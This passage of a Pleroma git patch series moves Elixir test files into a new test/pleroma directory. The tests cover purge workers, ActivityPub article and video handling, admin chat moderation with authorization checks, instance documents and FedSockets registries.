"enqueue job" do + activity = insert(:note_activity) + + assert {:ok, _} = + PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: DateTime.add(DateTime.utc_now(), 3601) + }) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id} + ) + + assert {:ok, _} = + perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) + + assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) + end + + test "error if user was not found" do + activity = insert(:note_activity) + + assert {:ok, _} = + PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: DateTime.add(DateTime.utc_now(), 3601) + }) + + user = Pleroma.User.get_by_ap_id(activity.actor) + Pleroma.Repo.delete(user) + + assert {:error, :user_not_found} = + perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) + end + + test "error if actiivity was not found" do + assert {:ok, _} = + PurgeExpiredActivity.enqueue(%{ + activity_id: "some_id", + expires_at: DateTime.add(DateTime.utc_now(), 3601) + }) + + assert {:error, :activity_not_found} = + perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: "some_if"}) + end +end diff --git a/test/pleroma/workers/purge_expired_token_test.exs b/test/pleroma/workers/purge_expired_token_test.exs new file mode 100644 index 000000000..fb7708c3f --- /dev/null +++ b/test/pleroma/workers/purge_expired_token_test.exs @@ -0,0 +1,51 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.PurgeExpiredTokenTest do + use Pleroma.DataCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + setup do: clear_config([:oauth2, :clean_expired_tokens], true) + + test "purges expired oauth token" do + user = insert(:user) + app = insert(:oauth_app) + + {:ok, %{id: id}} = Pleroma.Web.OAuth.Token.create(app, user) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredToken, + args: %{token_id: id, mod: Pleroma.Web.OAuth.Token} + ) + + assert {:ok, %{id: ^id}} = + perform_job(Pleroma.Workers.PurgeExpiredToken, %{ + token_id: id, + mod: Pleroma.Web.OAuth.Token + }) + + assert Repo.aggregate(Pleroma.Web.OAuth.Token, :count, :id) == 0 + end + + test "purges expired mfa token" do + authorization = insert(:oauth_authorization) + + {:ok, %{id: id}} = Pleroma.MFA.Token.create(authorization.user, authorization) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredToken, + args: %{token_id: id, mod: Pleroma.MFA.Token} + ) + + assert {:ok, %{id: ^id}} = + perform_job(Pleroma.Workers.PurgeExpiredToken, %{ + token_id: id, + mod: Pleroma.MFA.Token + }) + + assert Repo.aggregate(Pleroma.MFA.Token, :count, :id) == 0 + end +end diff --git a/test/workers/purge_expired_activity_test.exs b/test/workers/purge_expired_activity_test.exs deleted file mode 100644 index b5938776d..000000000 --- a/test/workers/purge_expired_activity_test.exs +++ /dev/null @@ -1,59 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.PurgeExpiredActivityTest do - use Pleroma.DataCase, async: true - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - - alias Pleroma.Workers.PurgeExpiredActivity - - test "enqueue job" do - activity = insert(:note_activity) - - assert {:ok, _} = - PurgeExpiredActivity.enqueue(%{ - activity_id: activity.id, - expires_at: DateTime.add(DateTime.utc_now(), 3601) - }) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity.id} - ) - - assert {:ok, _} = - perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) - - assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) - end - - test "error if user was not found" do - activity = insert(:note_activity) - - assert {:ok, _} = - PurgeExpiredActivity.enqueue(%{ - activity_id: activity.id, - expires_at: DateTime.add(DateTime.utc_now(), 3601) - }) - - user = Pleroma.User.get_by_ap_id(activity.actor) - Pleroma.Repo.delete(user) - - assert {:error, :user_not_found} = - perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) - end - - test "error if actiivity was not found" do - assert {:ok, _} = - PurgeExpiredActivity.enqueue(%{ - activity_id: "some_id", - expires_at: DateTime.add(DateTime.utc_now(), 3601) - }) - - assert {:error, :activity_not_found} = - perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: "some_if"}) - end -end diff --git a/test/workers/purge_expired_token_test.exs b/test/workers/purge_expired_token_test.exs deleted file mode 100644 index fb7708c3f..000000000 --- a/test/workers/purge_expired_token_test.exs +++ /dev/null @@ -1,51 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.PurgeExpiredTokenTest do - use Pleroma.DataCase, async: true - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - - setup do: clear_config([:oauth2, :clean_expired_tokens], true) - - test "purges expired oauth token" do - user = insert(:user) - app = insert(:oauth_app) - - {:ok, %{id: id}} = Pleroma.Web.OAuth.Token.create(app, user) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredToken, - args: %{token_id: id, mod: Pleroma.Web.OAuth.Token} - ) - - assert {:ok, %{id: ^id}} = - perform_job(Pleroma.Workers.PurgeExpiredToken, %{ - token_id: id, - mod: Pleroma.Web.OAuth.Token - }) - - assert Repo.aggregate(Pleroma.Web.OAuth.Token, :count, :id) == 0 - end - - test "purges expired mfa token" do - authorization = insert(:oauth_authorization) - - {:ok, %{id: id}} = Pleroma.MFA.Token.create(authorization.user, authorization) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredToken, - args: %{token_id: id, mod: Pleroma.MFA.Token} - ) - - assert {:ok, %{id: ^id}} = - perform_job(Pleroma.Workers.PurgeExpiredToken, %{ - token_id: id, - mod: Pleroma.MFA.Token - }) - - assert Repo.aggregate(Pleroma.MFA.Token, :count, :id) == 0 - end -end -- cgit v1.2.3 From 5f2071c458b19311b035bf18c136e069023b7f5b Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sat, 19 Sep 2020 21:25:01 +0300 Subject: changes after rebase --- .../article_note_validator_test.exs | 35 ++++ .../transmogrifier/article_handling_test.exs | 75 +++++++ .../transmogrifier/video_handling_test.exs | 93 +++++++++ .../admin_api/controllers/chat_controller_test.exs | 219 +++++++++++++++++++++ .../instance_document_controller_test.exs | 106 ++++++++++ test/pleroma/web/fed_sockets/fed_registry_test.exs | 124 ++++++++++++ .../web/fed_sockets/fetch_registry_test.exs | 67 +++++++ test/pleroma/web/fed_sockets/socket_info_test.exs | 118 +++++++++++ .../article_note_validator_test.exs | 35 ---- .../transmogrifier/article_handling_test.exs | 75 ------- .../transmogrifier/video_handling_test.exs | 93 --------- .../admin_api/controllers/chat_controller_test.exs | 219 --------------------- .../instance_document_controller_test.exs | 106 ---------- test/web/fed_sockets/fed_registry_test.exs | 124 ------------ test/web/fed_sockets/fetch_registry_test.exs | 67 ------- test/web/fed_sockets/socket_info_test.exs | 118 ----------- 16 files changed, 837 insertions(+), 837 deletions(-) create mode 100644 test/pleroma/web/activity_pub/object_validators/article_note_validator_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/video_handling_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/chat_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/instance_document_controller_test.exs create mode 100644 test/pleroma/web/fed_sockets/fed_registry_test.exs create mode 100644 test/pleroma/web/fed_sockets/fetch_registry_test.exs create mode 100644 test/pleroma/web/fed_sockets/socket_info_test.exs delete mode 100644 test/web/activity_pub/object_validators/article_note_validator_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/article_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/video_handling_test.exs delete mode 100644 test/web/admin_api/controllers/chat_controller_test.exs delete mode 100644 test/web/admin_api/controllers/instance_document_controller_test.exs delete mode 100644 test/web/fed_sockets/fed_registry_test.exs delete mode 100644 test/web/fed_sockets/fetch_registry_test.exs delete mode 100644 test/web/fed_sockets/socket_info_test.exs (limited to 'test') diff --git a/test/pleroma/web/activity_pub/object_validators/article_note_validator_test.exs b/test/pleroma/web/activity_pub/object_validators/article_note_validator_test.exs new file mode 100644 index 000000000..cc6dab872 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/article_note_validator_test.exs @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidatorTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidator + alias Pleroma.Web.ActivityPub.Utils + + import Pleroma.Factory + + describe "Notes" do + setup do + user = insert(:user) + + note = %{ + "id" => Utils.generate_activity_id(), + "type" => "Note", + "actor" => user.ap_id, + "to" => [user.follower_address], + "cc" => [], + "content" => "Hellow this is content.", + "context" => "xxx", + "summary" => "a post" + } + + %{user: user, note: note} + end + + test "a basic note validates", %{note: note} do + %{valid?: true} = ArticleNoteValidator.cast_and_validate(note) + end + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs new file mode 100644 index 000000000..9b12a470a --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs @@ -0,0 +1,75 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.ArticleHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Object.Fetcher + alias Pleroma.Web.ActivityPub.Transmogrifier + + test "Pterotype (Wordpress Plugin) Article" do + Tesla.Mock.mock(fn %{url: "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json")} + end) + + data = + File.read!("test/fixtures/tesla_mock/wedistribute-create-article.json") |> Jason.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + object = Object.normalize(data["object"]) + + assert object.data["name"] == "The end is near: Mastodon plans to drop OStatus support" + + assert object.data["summary"] == + "One of the largest platforms in the federated social web is dropping the protocol that it started with." + + assert object.data["url"] == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/" + end + + test "Plume Article" do + Tesla.Mock.mock(fn + %{url: "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json") + } + + %{url: "https://baptiste.gelez.xyz/@/BaptisteGelez"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json") + } + end) + + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" + ) + + assert object.data["name"] == "This Month in Plume: June 2018" + + assert object.data["url"] == + "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" + end + + test "Prismo Article" do + Tesla.Mock.mock(fn %{url: "https://prismo.news/@mxb"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json") + } + end) + + data = File.read!("test/fixtures/prismo-url-map.json") |> Jason.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert object.data["url"] == "https://prismo.news/posts/83" + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/video_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/video_handling_test.exs new file mode 100644 index 000000000..69c953a2e --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/video_handling_test.exs @@ -0,0 +1,93 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.VideoHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Object.Fetcher + alias Pleroma.Web.ActivityPub.Transmogrifier + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "skip converting the content when it is nil" do + data = + File.read!("test/fixtures/tesla_mock/framatube.org-video.json") + |> Jason.decode!() + |> Kernel.put_in(["object", "content"], nil) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["content"] == nil + end + + test "it converts content of object to html" do + data = File.read!("test/fixtures/tesla_mock/framatube.org-video.json") |> Jason.decode!() + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["content"] == + "<p>Après avoir mené avec un certain succès la campagne « Dégooglisons Internet » en 2014, l’association Framasoft annonce fin 2019 arrêter progressivement un certain nombre de ses services alternatifs aux GAFAM. Pourquoi ?</p><p>Transcription par @aprilorg ici : <a href=\"https://www.april.org/deframasoftisons-internet-pierre-yves-gosset-framasoft\">https://www.april.org/deframasoftisons-internet-pierre-yves-gosset-framasoft</a></p>" + end + + test "it remaps video URLs as attachments if necessary" do + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" + ) + + assert object.data["url"] == + "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" + + assert object.data["attachment"] == [ + %{ + "type" => "Link", + "mediaType" => "video/mp4", + "name" => nil, + "url" => [ + %{ + "href" => + "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + + data = File.read!("test/fixtures/tesla_mock/framatube.org-video.json") |> Jason.decode!() + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["attachment"] == [ + %{ + "type" => "Link", + "mediaType" => "video/mp4", + "name" => nil, + "url" => [ + %{ + "href" => + "https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + + assert object.data["url"] == + "https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206" + end +end diff --git a/test/pleroma/web/admin_api/controllers/chat_controller_test.exs b/test/pleroma/web/admin_api/controllers/chat_controller_test.exs new file mode 100644 index 000000000..bd4c9c9d1 --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/chat_controller_test.exs @@ -0,0 +1,219 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.ChatControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Config + alias Pleroma.ModerationLog + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.Web.CommonAPI + + defp admin_setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "DELETE /api/pleroma/admin/chats/:id/messages/:message_id" do + setup do: admin_setup() + + test "it deletes a message from the chat", %{conn: conn, admin: admin} do + user = insert(:user) + recipient = insert(:user) + + {:ok, message} = + CommonAPI.post_chat_message(user, recipient, "Hello darkness my old friend") + + object = Object.normalize(message, false) + + chat = Chat.get(user.id, recipient.ap_id) + recipient_chat = Chat.get(recipient.id, user.ap_id) + + cm_ref = MessageReference.for_chat_and_object(chat, object) + recipient_cm_ref = MessageReference.for_chat_and_object(recipient_chat, object) + + result = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response_and_validate_schema(200) + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deleted chat message ##{cm_ref.id}" + + assert result["id"] == cm_ref.id + refute MessageReference.get_by_id(cm_ref.id) + refute MessageReference.get_by_id(recipient_cm_ref.id) + assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id) + end + end + + describe "GET /api/pleroma/admin/chats/:id/messages" do + setup do: admin_setup() + + test "it paginates", %{conn: conn} do + user = insert(:user) + recipient = insert(:user) + + Enum.each(1..30, fn _ -> + {:ok, _} = CommonAPI.post_chat_message(user, recipient, "hey") + end) + + chat = Chat.get(user.id, recipient.ap_id) + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(200) + + assert length(result) == 20 + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") + |> json_response_and_validate_schema(200) + + assert length(result) == 10 + end + + test "it returns the messages for a given chat", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, _} = CommonAPI.post_chat_message(user, other_user, "hey") + {:ok, _} = CommonAPI.post_chat_message(user, third_user, "hey") + {:ok, _} = CommonAPI.post_chat_message(user, other_user, "how are you?") + {:ok, _} = CommonAPI.post_chat_message(other_user, user, "fine, how about you?") + + chat = Chat.get(user.id, other_user.ap_id) + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(200) + + result + |> Enum.each(fn message -> + assert message["chat_id"] == chat.id |> to_string() + end) + + assert length(result) == 3 + end + end + + describe "GET /api/pleroma/admin/chats/:id" do + setup do: admin_setup() + + test "it returns a chat", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] == to_string(chat.id) + assert %{} = result["sender"] + assert %{} = result["receiver"] + refute result["account"] + end + end + + describe "unauthorized chat moderation" do + setup do + user = insert(:user) + recipient = insert(:user) + + {:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo") + object = Object.normalize(message, false) + chat = Chat.get(user.id, recipient.ap_id) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + %{conn: conn} = oauth_access(["read:chats", "write:chats"]) + %{conn: conn, chat: chat, cm_ref: cm_ref} + end + + test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{ + conn: conn, + chat: chat, + cm_ref: cm_ref + } do + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response(403) + + assert MessageReference.get_by_id(cm_ref.id) == cm_ref + end + + test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response(403) + end + + test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}") + |> json_response(403) + end + end + + describe "unauthenticated chat moderation" do + setup do + user = insert(:user) + recipient = insert(:user) + + {:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo") + object = Object.normalize(message, false) + chat = Chat.get(user.id, recipient.ap_id) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + %{conn: build_conn(), chat: chat, cm_ref: cm_ref} + end + + test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{ + conn: conn, + chat: chat, + cm_ref: cm_ref + } do + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response(403) + + assert MessageReference.get_by_id(cm_ref.id) == cm_ref + end + + test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response(403) + end + + test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}") + |> json_response(403) + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/instance_document_controller_test.exs b/test/pleroma/web/admin_api/controllers/instance_document_controller_test.exs new file mode 100644 index 000000000..5f7b042f6 --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/instance_document_controller_test.exs @@ -0,0 +1,106 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do + use Pleroma.Web.ConnCase, async: true + import Pleroma.Factory + alias Pleroma.Config + + @dir "test/tmp/instance_static" + @default_instance_panel ~s(<p>Welcome to <a href="https://pleroma.social" target="_blank">Pleroma!</a></p>) + + setup do + File.mkdir_p!(@dir) + on_exit(fn -> File.rm_rf(@dir) end) + end + + setup do: clear_config([:instance, :static_dir], @dir) + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/instance_document/:name" do + test "return the instance document url", %{conn: conn} do + conn = get(conn, "/api/pleroma/admin/instance_document/instance-panel") + + assert content = html_response(conn, 200) + assert String.contains?(content, @default_instance_panel) + end + + test "it returns 403 if requested by a non-admin" do + non_admin_user = insert(:user) + token = insert(:oauth_token, user: non_admin_user) + + conn = + build_conn() + |> assign(:user, non_admin_user) + |> assign(:token, token) + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert json_response(conn, :forbidden) + end + + test "it returns 404 if the instance document with the given name doesn't exist", %{ + conn: conn + } do + conn = get(conn, "/api/pleroma/admin/instance_document/1234") + + assert json_response_and_validate_schema(conn, 404) + end + end + + describe "PATCH /api/pleroma/admin/instance_document/:name" do + test "uploads the instance document", %{conn: conn} do + image = %Plug.Upload{ + content_type: "text/html", + path: Path.absname("test/fixtures/custom_instance_panel.html"), + filename: "custom_instance_panel.html" + } + + conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/admin/instance_document/instance-panel", %{ + "file" => image + }) + + assert %{"url" => url} = json_response_and_validate_schema(conn, 200) + index = get(build_conn(), url) + assert html_response(index, 200) == "<h2>Custom instance panel</h2>" + end + end + + describe "DELETE /api/pleroma/admin/instance_document/:name" do + test "deletes the instance document", %{conn: conn} do + File.mkdir!(@dir <> "/instance/") + File.write!(@dir <> "/instance/panel.html", "Custom instance panel") + + conn_resp = + conn + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert html_response(conn_resp, 200) == "Custom instance panel" + + conn + |> delete("/api/pleroma/admin/instance_document/instance-panel") + |> json_response_and_validate_schema(200) + + conn_resp = + conn + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert content = html_response(conn_resp, 200) + assert String.contains?(content, @default_instance_panel) + end + end +end diff --git a/test/pleroma/web/fed_sockets/fed_registry_test.exs b/test/pleroma/web/fed_sockets/fed_registry_test.exs new file mode 100644 index 000000000..19ac874d6 --- /dev/null +++ b/test/pleroma/web/fed_sockets/fed_registry_test.exs @@ -0,0 +1,124 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.FedRegistryTest do + use ExUnit.Case + + alias Pleroma.Web.FedSockets + alias Pleroma.Web.FedSockets.FedRegistry + alias Pleroma.Web.FedSockets.SocketInfo + + @good_domain "http://good.domain" + @good_domain_origin "good.domain:80" + + setup do + start_supervised({Pleroma.Web.FedSockets.Supervisor, []}) + build_test_socket(@good_domain) + Process.sleep(10) + + :ok + end + + describe "add_fed_socket/1 without conflicting sockets" do + test "can be added" do + Process.sleep(10) + assert {:ok, %SocketInfo{origin: origin}} = FedRegistry.get_fed_socket(@good_domain_origin) + assert origin == "good.domain:80" + end + + test "multiple origins can be added" do + build_test_socket("http://anothergood.domain") + Process.sleep(10) + + assert {:ok, %SocketInfo{origin: origin_1}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert {:ok, %SocketInfo{origin: origin_2}} = + FedRegistry.get_fed_socket("anothergood.domain:80") + + assert origin_1 == "good.domain:80" + assert origin_2 == "anothergood.domain:80" + assert FedRegistry.list_all() |> Enum.count() == 2 + end + end + + describe "add_fed_socket/1 when duplicate sockets conflict" do + setup do + build_test_socket(@good_domain) + build_test_socket(@good_domain) + Process.sleep(10) + :ok + end + + test "will be ignored" do + assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert origin == "good.domain:80" + + assert FedRegistry.list_all() |> Enum.count() == 1 + end + + test "the newer process will be closed" do + pid_two = build_test_socket(@good_domain) + + assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert origin == "good.domain:80" + Process.sleep(10) + + refute Process.alive?(pid_two) + + assert FedRegistry.list_all() |> Enum.count() == 1 + end + end + + describe "get_fed_socket/1" do + test "returns missing for unknown hosts" do + assert {:error, :missing} = FedRegistry.get_fed_socket("not_a_dmoain") + end + + test "returns rejected for hosts previously rejected" do + "rejected.domain:80" + |> FedSockets.uri_for_origin() + |> FedRegistry.set_host_rejected() + + assert {:error, :rejected} = FedRegistry.get_fed_socket("rejected.domain:80") + end + + test "can retrieve a previously added SocketInfo" do + build_test_socket(@good_domain) + Process.sleep(10) + assert {:ok, %SocketInfo{origin: origin}} = FedRegistry.get_fed_socket(@good_domain_origin) + assert origin == "good.domain:80" + end + + test "removes references to SocketInfos when the process crashes" do + assert {:ok, %SocketInfo{origin: origin, pid: pid}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert origin == "good.domain:80" + + Process.exit(pid, :testing) + Process.sleep(100) + assert {:error, :missing} = FedRegistry.get_fed_socket(@good_domain_origin) + end + end + + def build_test_socket(uri) do + Kernel.spawn(fn -> fed_socket_almost(uri) end) + end + + def fed_socket_almost(origin) do + FedRegistry.add_fed_socket(origin) + + receive do + :close -> + :ok + after + 5_000 -> :timeout + end + end +end diff --git a/test/pleroma/web/fed_sockets/fetch_registry_test.exs b/test/pleroma/web/fed_sockets/fetch_registry_test.exs new file mode 100644 index 000000000..7bd2d995a --- /dev/null +++ b/test/pleroma/web/fed_sockets/fetch_registry_test.exs @@ -0,0 +1,67 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.FetchRegistryTest do + use ExUnit.Case + + alias Pleroma.Web.FedSockets.FetchRegistry + alias Pleroma.Web.FedSockets.FetchRegistry.FetchRegistryData + + @json_message "hello" + @json_reply "hello back" + + setup do + start_supervised( + {Pleroma.Web.FedSockets.Supervisor, + [ + ping_interval: 8, + connection_duration: 15, + rejection_duration: 5, + fed_socket_fetches: [default: 10, interval: 10] + ]} + ) + + :ok + end + + test "fetches can be stored" do + uuid = FetchRegistry.register_fetch(@json_message) + + assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) + end + + test "fetches can return" do + uuid = FetchRegistry.register_fetch(@json_message) + task = Task.async(fn -> FetchRegistry.register_fetch_received(uuid, @json_reply) end) + + assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) + Task.await(task) + + assert {:ok, %FetchRegistryData{received_json: received_json}} = + FetchRegistry.check_fetch(uuid) + + assert received_json == @json_reply + end + + test "fetches are deleted once popped from stack" do + uuid = FetchRegistry.register_fetch(@json_message) + task = Task.async(fn -> FetchRegistry.register_fetch_received(uuid, @json_reply) end) + Task.await(task) + + assert {:ok, %FetchRegistryData{received_json: received_json}} = + FetchRegistry.check_fetch(uuid) + + assert received_json == @json_reply + assert {:ok, @json_reply} = FetchRegistry.pop_fetch(uuid) + + assert {:error, :missing} = FetchRegistry.check_fetch(uuid) + end + + test "fetches can time out" do + uuid = FetchRegistry.register_fetch(@json_message) + assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) + Process.sleep(500) + assert {:error, :missing} = FetchRegistry.check_fetch(uuid) + end +end diff --git a/test/pleroma/web/fed_sockets/socket_info_test.exs b/test/pleroma/web/fed_sockets/socket_info_test.exs new file mode 100644 index 000000000..db3d6edcd --- /dev/null +++ b/test/pleroma/web/fed_sockets/socket_info_test.exs @@ -0,0 +1,118 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.SocketInfoTest do + use ExUnit.Case + + alias Pleroma.Web.FedSockets + alias 